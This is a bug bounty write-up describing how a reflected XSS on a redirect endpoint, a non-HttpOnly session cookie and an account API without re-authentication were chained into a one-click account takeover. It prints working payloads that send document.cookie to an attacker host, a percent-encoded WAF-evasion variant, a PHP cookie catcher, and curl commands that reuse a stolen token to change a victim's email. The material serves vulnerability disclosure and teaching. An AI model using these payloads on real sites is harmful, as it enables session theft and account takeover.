Reflected XSS and Account Takeover: How I Got Paid for a Duplicate in Bug Bounty
An encoding bypass on a redirect endpoint plus a non-HttpOnly session cookie let one crafted link hijack a victim's account, balance included.
Este writeup está disponível apenas em inglês.
From a Broken Redirect to Full Account Takeover
I was poking around a target that handled real user balances when I found a /callback/redirect endpoint. It took two parameters, method and url, and forwarded the browser wherever the url param pointed. Redirect endpoints sit near the top of my checklist on a new target because the filter in front of them leaves gaps.
The First Crack
I threw a javascript: URI at the url parameter. The filter caught it and returned a blank page.
The endpoint changed behavior based on the method parameter. method=GET gave one response. method=POST gave a looser one. That pointed to two separate code paths for the filter, and separate paths enforce different rules.
I switched to method=POST and tried a normal cookie-stealing payload:
javascript://window.location.href=`https://evil.com/?cookie=${document.cookie}`The application's firewall blocked it and returned another blank page. Payloads that spelled out document.cookie or a clean window.location redirect hit the same wall. The WAF matched those steal-and-exfil shapes.
Building a Payload the Firewall Would Miss
I needed the same end result without writing the strings the WAF already knew. I split the work across variables and rebuilt the property access at runtime:
javascript:a=document;b='location';c='cookie'/*bypass*/;d='//[ATTACKER_DOMAIN]/';a[b]=d+a[c]a holds the document. b and c hold the property names as plain strings. d is the attacker prefix. The last statement does a[b]=d+a[c], which equals document.location = '//[ATTACKER_DOMAIN]/' + document.cookie without those tokens sitting next to each other in the source. The /*bypass*/ comment was a leftover from earlier probes that also broke up the signature.
That cleared the keyword checks. The literal javascript: scheme still got caught. Filters that match that string miss the URL-encoded form when the app decodes after the check instead of before. I percent-encoded every character:
%6a%61%76%61%73%63%72%69%70%74%3a%61%3d%64%6f%63%75%6d%65%6e%74%3b%62%3d%27%6c%6f%63%61%74%69%6f%6e%27%3b%63%3d%27%63%6f%6f%6b%69%65%27%2f%2a%62%79%70%61%73%73%2a%2f%3b%64%3d%27%2f%2f%5b%41%54%54%41%43%4b%45%52%5f%44%4f%4d%41%49%4e%5d%2f%27%3b%61%5b%62%5d%3d%64%2b%61%5b%63%5d
I dropped it into the url param with method=POST, opened the link, and watched the browser bar flash to my own server for a split second before landing on the redirect target. The filter decoded the string after the check had already passed. Obfuscation cleared the WAF signatures and encoding cleared the scheme check, which gave me reflected JavaScript execution on the real site.
On its own that rates as medium severity. I still needed to see what the script could reach.

The Cookie Was Readable
I looked at what the site stored client-side and found a session cookie that authorized API calls with no HttpOnly flag. Missing that flag meant the reflected XSS could read the session.
I built a tiny PHP catcher and hosted it on a domain I control:
<?php
function getFullUrl() {
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$host = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];
$fragment = isset($_SERVER['FRAGMENT']) ? $_SERVER['FRAGMENT'] : '';
return $uri . ($fragment ? '#' . $fragment : '');
}
function getSessionValue($urlString) {
preg_match('/[SESSION_COOKIE_NAME]=([^;]+)/', $urlString, $matches);
return $matches[1] ?? null;
}
?>
<html>
<body>
<h1><?php echo "User Token: " . getSessionValue(getFullUrl()); ?></h1>
<h2>User cookies:</h2>
<textarea><?php echo getFullUrl(); ?></textarea>
</body>
</html>I pointed the encoded payload at it and clicked the crafted link as my own victim:
https://www.[target].com/callback/redirect?method=POST&url=<ENCODED_PAYLOAD>
The browser redirected through the vulnerable endpoint, ran the injected script, grabbed document.cookie, and sent it to the catcher. The session token showed up on screen a second later with no warning to the victim.

Turning a Stolen Cookie Into a Takeover
I started poking the account API with the stolen token:
curl "https://www.[target].com/api/v1-preview/account" \
-H "Cookie: [SESSION_COOKIE_NAME]=<STOLEN_TOKEN>;" \
-H "Referer: https://www.[target].com/" -iThat request returned the full account profile: email, phone number, address, balance, full name. The API asked for no second factor and no re-authentication.
I tried a write next:
curl -X PATCH "https://www.[target].com/api/v1-preview/account" \
-H "Cookie: [SESSION_COOKIE_NAME]=<STOLEN_TOKEN>;" \
-H "Referer: https://www.[target].com/" \
-H "Content-Type: application/json" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" \
--data '{"email":"attacker-controlled@example.com"}' -iThe account's registered email changed to one I controlled. From there I could run a password reset and take ownership of the account, balance included.

I chained the reflected XSS, the missing HttpOnly flag, and the PATCH endpoint without re-authentication into a one-click account takeover against a logged-in user who opened the link.
The Triage Back-and-Forth
I filed the report and got the usual "we're discussing internally with the team" holding pattern. A week later the internal team said they could not reproduce the PATCH step. I retested and found the missing piece: the request needed a User-Agent header or the API rejected it without an error message. I attached a fresh proof screenshot, a working curl command, and an exported request collection so the team could replay everything without guessing.
The team marked the report as a known issue tied to a prior XSS finding on a shared codebase, since the reflected XSS piece alone had already surfaced elsewhere. The account-takeover chain was new to them, and they paid a bounty for that part of the exploitation.
I also pushed back on the severity scoring. The triager had marked Integrity as Low. I quoted the CVSS definition in the thread: an attacker who can compromise the account, including draining the balance, causes a direct, serious consequence to the impacted component, which is the definition of High. Push back on a severity score when your findings support a higher rating, and make the case with the CVSS language.
Takeaways for Other Hunters
- Rebuild textbook payloads when the WAF blocks them.
document.cookieandwindow.locationare the first strings a firewall looks for. Split them into variables and reconstruct the call at runtime before you drop the endpoint. - Encoding bypasses still show up. If a filter blocks your raw payload, check whether it decodes input after validating. That mistake is common.
- Test both methods on the same endpoint. A
GETvsPOSTinconsistency is worth checking both ways. - Score XSS by what the script can reach. A reflected XSS next to a non-
HttpOnlysession cookie and a permissive account API hits harder than the same XSS on a static marketing page. - "Needs more info" is a cue to retest. I found the missing
User-Agentrequirement on a second pass through the request. - Argue CVSS with the spec. Quoting the definition of High integrity impact got the team to reconsider their number.